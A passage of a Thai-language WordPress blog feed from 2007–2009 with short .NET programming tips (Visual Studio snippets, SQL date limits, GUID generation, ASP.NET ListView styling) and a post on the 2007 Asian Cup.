<p>เวาที่เราเขียน code ใน Visual Studio เราก็สามารถเรียกใช้ snippet code ที่เราสร้างไว้ได้โดยการ Click ขวา แล้วเลือก &#8220;Insert Code Snippet&#8221;  หรือ กด Clt+K-X</p></div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/janbin.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/janbin.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/janbin.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/janbin.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/janbin.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/janbin.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/janbin.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/janbin.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/janbin.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/janbin.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/janbin.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/janbin.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/janbin.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/janbin.wordpress.com/18/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=18&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://janbin.wordpress.com/2009/01/31/visual-studio-2008-snippet-designer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c12a92838ad2497a69e0d6c4d82e515d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">janbin</media:title>
		</media:content>

		<media:content url="http://blogs.msdn.com/blogfiles/knom/WindowsLiveWriter/AMustHaveToolVS2008SnippetDesigner_BC40/image_3.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://blogs.msdn.com/blogfiles/knom/WindowsLiveWriter/AMustHaveToolVS2008SnippetDesigner_BC40/image_9.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://blogs.msdn.com/blogfiles/knom/WindowsLiveWriter/AMustHaveToolVS2008SnippetDesigner_BC40/image_8.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>
	</item>
		<item>
		<title>การหา Minimum &amp; Maximum Dates</title>
		<link>http://janbin.wordpress.com/2009/01/31/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%ab%e0%b8%b2-minimum-maximum-dates/</link>
		<comments>http://janbin.wordpress.com/2009/01/31/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%ab%e0%b8%b2-minimum-maximum-dates/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 19:27:02 +0000</pubDate>
		<dc:creator>janbin</dc:creator>
				<category><![CDATA[โปรเเกรมมิ่ง(Programming)]]></category>
		<category><![CDATA[DateTime .NET]]></category>

		<guid isPermaLink="false">http://janbin.wordpress.com/?p=16</guid>
		<description><![CDATA[ถ้าเราต้องการ update ข้อมูลที่เป็นวันที่ในฐานข้อมูล  และเป็นข้อมูลวันที่น้อยสุดและมากสุดเป็นค่า default เราสามารถหาได้โดย   using System.Data.SqlType เข้ามาก่อน  แล้วเขียน code ดังนี้ DateTime minDate = SqlDateTime.MinValue.Value DateTime maxDate = SqlDateTime.MaxValue.Value นอกจากนี้ เราสามารถหา   Minimum และ  Maximum DateTime ได้จาก System.DateTime DateTime minDate = DateTime.MinValue DateTime maxDate = DateTime.MaxValue<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=16&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>ถ้าเราต้องการ update ข้อมูลที่เป็นวันที่ในฐานข้อมูล  และเป็นข้อมูลวันที่น้อยสุดและมากสุดเป็นค่า default เราสามารถหาได้โดย   using System.Data.SqlType เข้ามาก่อน  แล้วเขียน code ดังนี้</p>
<p>DateTime minDate <span style="color:red;font-family:Courier New;font-size:11px;background-color:white;">=</span> SqlDateTime.MinValue.Value</p>
<p>DateTime maxDate <span style="color:red;font-family:Courier New;font-size:11px;background-color:white;">=</span> SqlDateTime.MaxValue.Value</p>
<p>นอกจากนี้ เราสามารถหา   Minimum และ  Maximum DateTime ได้จาก System.DateTime</p>
<p>DateTime minDate <span style="color:red;font-family:Courier New;font-size:11px;background-color:white;">=</span> DateTime.MinValue</p>
<p>DateTime maxDate <span style="color:red;font-family:Courier New;font-size:11px;background-color:white;">=</span> DateTime.MaxValue</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/janbin.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/janbin.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/janbin.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/janbin.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/janbin.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/janbin.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/janbin.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/janbin.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/janbin.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/janbin.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/janbin.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/janbin.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/janbin.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/janbin.wordpress.com/16/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=16&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://janbin.wordpress.com/2009/01/31/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%ab%e0%b8%b2-minimum-maximum-dates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c12a92838ad2497a69e0d6c4d82e515d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">janbin</media:title>
		</media:content>
	</item>
		<item>
		<title>สร้าง string ที่ไม่ซ้ำด้วย GUID</title>
		<link>http://janbin.wordpress.com/2009/01/31/%e0%b8%aa%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%87-string-%e0%b8%97%e0%b8%b5%e0%b9%88%e0%b9%84%e0%b8%a1%e0%b9%88%e0%b8%8b%e0%b9%89%e0%b8%b3%e0%b8%94%e0%b9%89%e0%b8%a7%e0%b8%a2-guid/</link>
		<comments>http://janbin.wordpress.com/2009/01/31/%e0%b8%aa%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%87-string-%e0%b8%97%e0%b8%b5%e0%b9%88%e0%b9%84%e0%b8%a1%e0%b9%88%e0%b8%8b%e0%b9%89%e0%b8%b3%e0%b8%94%e0%b9%89%e0%b8%a7%e0%b8%a2-guid/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 19:24:24 +0000</pubDate>
		<dc:creator>janbin</dc:creator>
				<category><![CDATA[โปรเเกรมมิ่ง(Programming)]]></category>
		<category><![CDATA[GUID .NET]]></category>

		<guid isPermaLink="false">http://janbin.wordpress.com/?p=14</guid>
		<description><![CDATA[เมื่อเราทำการเขียนโปรแกรมแล้วต้องการ สร้างชุด string ชุดหนึ่ง เช่น  ID , Username , Password  อื่นๆ เราสามารถสร้างโดย  Globally Unique Identifier (GUID) ของ .Net เอง GUID มีขนาด 128-bit Interger (16 byte) หากถ้าเราสังเกตุให้ดีๆ ในคอมของเราในส่วนของ Registry จะมีการใช้ GUID ซึ่งใช้เป็นตัวระบุ application IDs  ภายใต้ HKEY_CLASSES_ROOT ใน SQL  Server ได้รวมความสามารถของ GUID ให้เราได้ใช้เป็น data type  (uniqueidentifier) ในการกำหนดค่าของข้อมูลที่เราต้องการให้เป็น GUID  ซึ่งเราสามารถเรียกใช้  function  NEWID() ได้เลย ใน .Net ได้รวมเอา GUID เข้าไปใน [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=14&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>เมื่อเราทำการเขียนโปรแกรมแล้วต้องการ สร้างชุด string ชุดหนึ่ง เช่น  ID , Username , Password  อื่นๆ เราสามารถสร้างโดย  Globally Unique Identifier (GUID) ของ .Net เอง</p>
<p>GUID มีขนาด 128-bit Interger (16 byte) หากถ้าเราสังเกตุให้ดีๆ ในคอมของเราในส่วนของ Registry จะมีการใช้ GUID ซึ่งใช้เป็นตัวระบุ application IDs  ภายใต้ HKEY_CLASSES_ROOT ใน SQL  Server ได้รวมความสามารถของ GUID ให้เราได้ใช้เป็น data type  (uniqueidentifier) ในการกำหนดค่าของข้อมูลที่เราต้องการให้เป็น GUID  ซึ่งเราสามารถเรียกใช้  function  <strong>NEWID()</strong> ได้เลย</p>
<p>ใน .Net ได้รวมเอา GUID เข้าไปใน System Class ซึ่งเป็น Base Class ใน  .Net Framework</p>
<p><strong>การสร้าง GUID ในทั้งใน  C# และ  VB.NET </strong></p>
<p><span style="color:#008080;">1</span> <span style="color:#000000;">System.Guid.NewGuid().ToString(); </span></p>
<p>Output ที่ได้ คือ  9245fe4a-d402-451c-b9ed-9c1a04247482</p>
<p>ในทางกลับกันเราสามารถ Convert Output   ซึ่งเป็น string ให้กลับไปเป็น GUID data type ได้โดย</p>
<p><span style="color:#008080;">1</span> <span style="color:#000000;">System.Guid newid</span><span style="color:#000000;">=</span><span style="color:#000000;">New Guid(</span><span style="color:#800000;">&#8220;</span><span style="color:#800000;">9245fe4a-d402-451c-b9ed-9c1a04247482 </span><span style="color:#800000;">&#8220;</span><span style="color:#000000;">); </span></p>
<p>หรือ</p>
<p><span style="color:#008080;">1</span> <span style="color:#000000;">System.Guid newid</span><span style="color:#000000;">=</span><span style="color:#000000;">(SqlGUID.Parse(</span><span style="color:#800000;">&#8220;</span><span style="color:#800000;">9245fe4a-d402-451c-b9ed-9c1a04247482 </span><span style="color:#800000;">&#8220;</span><span style="color:#000000;">)).Value;</span></p>
<p>ลักษณะการนำเอาไปใช้นั้นเราสามารถใช้ Guid<span class="cs">.</span>ToString() Method    เพื่อกำหนดรูปแบบการแสดงผลได้</p>
<table style="height:741px;" border="1" width="532">
<tbody>
<tr>
<th><span style="font-size:x-small;"> Specifier </span></th>
<th>
<div></div>
<div><span style="font-size:x-small;">Format of Return Value</span></div>
</th>
</tr>
<tr>
<td><span style="font-size:x-small;"> N </span></td>
<td><span style="font-size:x-small;"><br />
32 digits: </span></p>
<p><span style="font-size:x-small;"> xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx </span></p>
<p><span style="font-size:x-small;">ตัวอย่าง  newid.ToString(&#8220;N&#8221;);</span></p>
<p><span style="color:#800000;"><span style="font-size:x-small;">9245fe4ad402451cb9ed9c1a04247482 </span> </span></td>
</tr>
<tr>
<td><span style="font-size:x-small;"> D </span></td>
<td><span style="font-size:x-small;"><br />
32 digits separated by hyphens:</span></p>
<p><span style="font-size:x-small;">xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx </span></p>
<p><span style="font-size:x-small;"> </span></p>
<p><span style="font-size:x-small;">ตัวอย่าง  newid.ToString(&#8220;D&#8221;);</span></p>
<p><span style="font-size:x-small;"><span style="color:#800000;">9245fe4a-d402-451c-b9ed-9c1a04247482</span><span style="color:#800000;"> </span></span></td>
</tr>
<tr>
<td><span style="font-size:x-small;"> B </span></td>
<td><span style="font-size:x-small;"><br />
32 digits separated by hyphens, enclosed in brackets: </span></p>
<p><span style="font-size:x-small;">{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} </span></p>
<p><span style="font-size:x-small;">ตัวอย่าง  newid.ToString(&#8220;B&#8221;);</span></p>
<p><span style="font-size:x-small;"><span style="color:#800000;">{9245fe4a-d402-451c-b9ed-9c1a04247482</span><span style="color:#800000;"> } </span></span></td>
</tr>
<tr>
<td><span style="font-size:x-small;"> P </span></td>
<td><span style="font-size:x-small;"><br />
32 digits separated by hyphens, enclosed in parentheses:<br />
</span><span style="font-size:x-small;">ตัวอย่าง  newid.ToString(&#8220;P&#8221;);</span></p>
<p><span style="font-size:x-small;"> (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)</p>
<p><strong>ตัวอย่าง</strong> newid.ToString(&#8220;P&#8221;);</span></p>
<p><span style="font-size:x-small;"><span style="color:#800000;">(9245fe4a-d402-451c-b9ed-9c1a04247482</span><span style="color:#800000;">) </span></span></td>
</tr>
</tbody>
</table>
<p>นอกจากนั้น  เราสามารถ ย่อ GUID ที่มีขนาดยาวให้เหลือเพียง 16 ตัวอักษร และไม่ซ้ำ</p>
<p>จาก</p>
<p><span style="font-size:x-small;"><span style="color:#800000;">21726045-e8f7-4b09-abd8-4bcc926e9e28</span></span></p>
<p>เป็น</p>
<p><span style="font-size:x-small;"><span style="color:#800000;">3c4ebc5f5f2c4edc </span></span></p>
<p>โดยใช้ function</p>
<pre style="background-color:white;"><span style="font-size:x-small;"><span style="color:#008080;"> 1</span> <span style="color:#0000ff;">private</span><span style="color:#000000;"> </span><span style="color:#0000ff;">string</span><span style="color:#000000;"> GenerateId()
</span><span style="color:#008080;"> 2</span> <span style="color:#000000;">{
</span><span style="color:#008080;"> 3</span> <span style="color:#000000;"> </span><span style="color:#0000ff;">long</span><span style="color:#000000;"> i </span><span style="color:#000000;">=</span><span style="color:#000000;"> </span><span style="color:#800080;">1</span><span style="color:#000000;">;
</span><span style="color:#008080;"> 4</span> <span style="color:#000000;"> </span><span style="color:#0000ff;">foreach</span><span style="color:#000000;"> (</span><span style="color:#0000ff;">byte</span><span style="color:#000000;"> b </span><span style="color:#0000ff;">in</span><span style="color:#000000;"> Guid.NewGuid().ToByteArray())
</span><span style="color:#008080;"> 5</span> <span style="color:#000000;"> {
</span><span style="color:#008080;"> 6</span> <span style="color:#000000;">  i </span><span style="color:#000000;">*=</span><span style="color:#000000;"> ((</span><span style="color:#0000ff;">int</span><span style="color:#000000;">)b </span><span style="color:#000000;">+</span><span style="color:#000000;"> </span><span style="color:#800080;">1</span><span style="color:#000000;">);
</span><span style="color:#008080;"> 7</span> <span style="color:#000000;"> }
</span><span style="color:#008080;"> 8</span> <span style="color:#000000;"> </span><span style="color:#0000ff;">return</span><span style="color:#000000;"> </span><span style="color:#0000ff;">string</span><span style="color:#000000;">.Format(</span><span style="color:#800000;">"</span><span style="color:#800000;">{0:x}</span><span style="color:#800000;">"</span><span style="color:#000000;">, i </span><span style="color:#000000;">-</span><span style="color:#000000;"> DateTime.Now.Ticks);
</span><span style="color:#008080;"> 9</span> <span style="color:#000000;">}
</span><span style="color:#008080;">10</span> </span></pre>
<p>ถ้าเราต้องการเอาเฉพาะตัวเลขเท่านั้น</p>
<pre style="background-color:white;"><span style="font-size:x-small;"><span style="color:#008080;">1</span> <span style="color:#0000ff;">private</span><span style="color:#000000;"> </span><span style="color:#0000ff;">long</span><span style="color:#000000;"> GenerateId()
</span><span style="color:#008080;">2</span> <span style="color:#000000;">{
</span><span style="color:#008080;">3</span> <span style="color:#000000;"> </span><span style="color:#0000ff;">byte</span><span style="color:#000000;">[] buffer </span><span style="color:#000000;">=</span><span style="color:#000000;"> Guid.NewGuid().ToByteArray();
</span><span style="color:#008080;">4</span> <span style="color:#000000;"> </span><span style="color:#0000ff;">return</span><span style="color:#000000;"> BitConverter.ToInt64(buffer, </span><span style="color:#800080;">0</span><span style="color:#000000;">);
</span><span style="color:#008080;">5</span> <span style="color:#000000;">}</span></span></pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/janbin.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/janbin.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/janbin.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/janbin.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/janbin.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/janbin.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/janbin.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/janbin.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/janbin.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/janbin.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/janbin.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/janbin.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/janbin.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/janbin.wordpress.com/14/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=14&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://janbin.wordpress.com/2009/01/31/%e0%b8%aa%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%87-string-%e0%b8%97%e0%b8%b5%e0%b9%88%e0%b9%84%e0%b8%a1%e0%b9%88%e0%b8%8b%e0%b9%89%e0%b8%b3%e0%b8%94%e0%b9%89%e0%b8%a7%e0%b8%a2-guid/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c12a92838ad2497a69e0d6c4d82e515d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">janbin</media:title>
		</media:content>
	</item>
		<item>
		<title>Alternating styles in ListView without AlternatingItemTemplate</title>
		<link>http://janbin.wordpress.com/2009/01/31/alternating-styles-in-listview-without-alternatingitemtemplate/</link>
		<comments>http://janbin.wordpress.com/2009/01/31/alternating-styles-in-listview-without-alternatingitemtemplate/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 19:20:31 +0000</pubDate>
		<dc:creator>janbin</dc:creator>
				<category><![CDATA[โปรเเกรมมิ่ง(Programming)]]></category>
		<category><![CDATA[ListView]]></category>

		<guid isPermaLink="false">http://janbin.wordpress.com/?p=11</guid>
		<description><![CDATA[Alternating styles in ListView without AlternatingItemTemplate ListView (the server-side control), like all repeating data controls in ASP.NET, has an AlternatingItemTemplate, but it would be a shame to have to copy all the markup in the ItemTemplate into AlternatingItemTemplate, just to alternate styles on the items. It&#8217;s quite likely that only css classes will change between [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=11&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h2 class="pageTitle">Alternating styles in ListView without AlternatingItemTemplate</h2>
<p><a href="http://msdn.microsoft.com/en-us/library/bb398790.aspx">ListView</a> (the server-side control), like <a href="http://msdn.microsoft.com/en-us/library/x8f2zez5.aspx">all</a> <a href="http://msdn.microsoft.com/en-us/library/es4e4e0e.aspx">repeating</a> <a href="http://msdn.microsoft.com/en-us/library/2s019wc0.aspx">data</a> <a href="http://msdn.microsoft.com/en-us/library/bb398790.aspx">controls</a> in ASP.NET, has an <a href="http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.listview.alternatingitemtemplate.aspx">AlternatingItemTemplate</a>, but it would be a shame to have to copy all the markup in the <a href="http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.listview.itemtemplate.aspx">ItemTemplate</a> into <a href="http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.listview.alternatingitemtemplate.aspx">AlternatingItemTemplate</a>, just to alternate styles on the items. It&#8217;s quite likely that only css classes will change between the two, and redundancy is bad &lt;- big scoop here.</p>
<p>But there is a simpler way. From within any template, you have access to the current index of the row within the whole data set, using <a href="http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.listviewdataitem.dataitemindex.aspx">Container.DataItemIndex</a>, and within the currently displayed items, using <a href="http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.listviewdataitem.displayindex.aspx">Container.DisplayIndex</a>. This gives us an easy way to alternate styles:</p>
<pre class="code"><span style="color:blue;">&lt;</span><span style="color:#a31515;">ItemTemplate</span><span style="color:blue;">&gt;
  &lt;</span><span style="color:#a31515;">li </span><span style="color:red;">class</span><span style="color:blue;">="</span><span style="background:#ffee62 none repeat scroll 0 0;">&lt;%</span># Container.DisplayIndex % 2 == 0 ? "even" : "odd" <span style="background:#ffee62 none repeat scroll 0 0;">%&gt;</span><span style="color:blue;">"&gt;
</span><span style="background:#ffee62 none repeat scroll 0 0;"><span style="background-color:#ffffff;color:#0000ff;">    </span>&lt;%</span><span style="color:blue;"># </span>Eval(<span style="color:#a31515;">"Name"</span>) <span style="background:#ffee62 none repeat scroll 0 0;">%&gt;
</span>  <span style="color:blue;">&lt;/</span><span style="color:#a31515;">li</span><span style="color:blue;">&gt;
&lt;/</span><span style="color:#a31515;">ItemTemplate</span><span style="color:blue;">&gt;
</span></pre>
<p>Just define the even and odd classes in your stylesheet and you&#8217;re pretty much done.</p>
<p>The full source code for the page is attached below:<br />
<a href="http://weblogs.asp.net/bleroy/attachment/6436332.ashx">http://weblogs.asp.net/bleroy/attachment/6436332.ashx</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/janbin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/janbin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/janbin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/janbin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/janbin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/janbin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/janbin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/janbin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/janbin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/janbin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/janbin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/janbin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/janbin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/janbin.wordpress.com/11/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=11&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://janbin.wordpress.com/2009/01/31/alternating-styles-in-listview-without-alternatingitemtemplate/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c12a92838ad2497a69e0d6c4d82e515d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">janbin</media:title>
		</media:content>
	</item>
		<item>
		<title>Asian Cup 2007</title>
		<link>http://janbin.wordpress.com/2007/07/14/asian-cup-2007/</link>
		<comments>http://janbin.wordpress.com/2007/07/14/asian-cup-2007/#comments</comments>
		<pubDate>Sat, 14 Jul 2007 17:37:08 +0000</pubDate>
		<dc:creator>janbin</dc:creator>
				<category><![CDATA[ฟุตบอล(Football)]]></category>
		<category><![CDATA[AsianCup FootBall Thai]]></category>

		<guid isPermaLink="false">http://janbin.wordpress.com/2007/07/14/asian-cup-2007/</guid>
		<description><![CDATA[                        ประเทศไทยเป็นเจ้าภาพ ร่วมกับอีกสามชาติคือ อินโดนิเซีย มาเลเซีย เวียดนาม ประเทศไทยอยู่ กลุ่ม เอ ร่วมกับ เต็ง อย่าง ออสเตรเลีย มีคู่เเข่งร่วมกลุ่มอย่าง อิรัก เเละ โอมาน ซึ่งตอนนี้เเข่งมาสองนัดไทย ชนะ 1 เสมอ1 ซึ่งชนะโอมานที่ เกือบชนะ ออสเตรเลีย เเละเสมอ อิรักที่ชนะ ออสเตรเลียมา หมาดๆๆ นัดหน้านัดสุดท้ายไทยเจอ ออสเตรเลียขอเเค่เสมอเป็นอย่างน้อยเพื่อเข้ารอบเเบบเเน่นอน ในวันจันทร์ที่ 16 ให้ตายเถอะ สองนัดเเรกไทยเล่นดีเลยทีเดียว โชคเข้าข้างเราเเล้ว โกสินทร์ราศีจับสุดๆๆ พิพัฒน์ยิง สวยมากๆเล่นเอาโกล์โอมานยืนอึ่งไปเลย สุธีก็ทุ่มเทเต็มร้อย           ผมเห็นข่าวว่าลาวถ่ายทอดสดบอลรายการนี้ทุกคู่ เเต่บ้านเราเป็นเจ้าภาพเเท้ๆ เเค่เท่าที่เเข่งใน ไทยยังไม่ถ่ายให้ครบเลยเเย่จริงๆ บ้านเรา บางคนยังไม่รู้เลยด้วยซ้ำว่าไทยเป็นเจ้าภาพ หรือเค้าเตะไป ทำไรกัน &#8212; ไทยสู้ๆๆ ออสเตรเลียเเตกคอกันอยู่ต้องชนะนะเฟ้ยๆๆ  <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=8&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>               <img border="0" width="300" src="http://www.kompas.com/photos/OLAHRAGA/asian_cup.jpg" height="225" /><img border="0" width="1" src="http://www.kompas.com/photos/OLAHRAGA/asian_cup.jpg" height="1" /></p>
<p>         ประเทศไทยเป็นเจ้าภาพ ร่วมกับอีกสามชาติคือ อินโดนิเซีย มาเลเซีย เวียดนาม ประเทศไทยอยู่<br />
กลุ่ม เอ ร่วมกับ เต็ง อย่าง <font color="#3366ff">ออสเตรเลีย</font> มีคู่เเข่งร่วมกลุ่มอย่าง <font color="#3366ff">อิรัก เเละ โอมาน <font color="#000000">ซึ่งตอนนี้เเข่งมาสองนัดไทย<br />
</font></font><font color="#3366ff"><font color="#000000">ชนะ 1 เสมอ1 ซึ่งชนะโอมานที่ เกือบชนะ ออสเตรเลีย เเละเสมอ อิรักที่ชนะ ออสเตรเลียมา หมาดๆๆ<br />
</font></font><font color="#3366ff"><font color="#000000">นัดหน้า</font></font>นัดสุดท้ายไทยเจอ ออสเตรเลียขอเเค่เสมอเป็นอย่างน้อยเพื่อเข้ารอบเเบบเเน่นอน ในวันจันทร์ที่<br />
16 ให้ตายเถอะ สองนัดเเรกไทยเล่นดีเลยทีเดียว โชคเข้าข้างเราเเล้ว <font color="#ff0000">โกสินทร์</font>ราศีจับสุดๆๆ <font color="#ff0000">พิพัฒน์</font>ยิง<br />
สวยมากๆเล่นเอาโกล์โอมานยืนอึ่งไปเลย <font color="#ff0000">สุธี</font>ก็ทุ่มเทเต็มร้อย</p>
<p>          ผมเห็นข่าวว่าลาวถ่ายทอดสดบอลรายการนี้ทุกคู่ เเต่บ้านเราเป็นเจ้าภาพเเท้ๆ เเค่เท่าที่เเข่งใน<br />
ไทยยังไม่ถ่ายให้ครบเลยเเย่จริงๆ บ้านเรา บางคนยังไม่รู้เลยด้วยซ้ำว่าไทยเป็นเจ้าภาพ หรือเค้าเตะไป<br />
ทำไรกัน &#8212; <font color="#ff0000"><strong>ไทยสู้ๆๆ</strong></font> ออสเตรเลียเเตกคอกันอยู่ต้องชนะนะเฟ้ยๆๆ</p>
<p> <img border="0" width="1024" src="http://203.146.102.21/impossible/images/wallpaper/1_1024x768.jpg" height="768" style="width:360px;height:289px;" /></p>
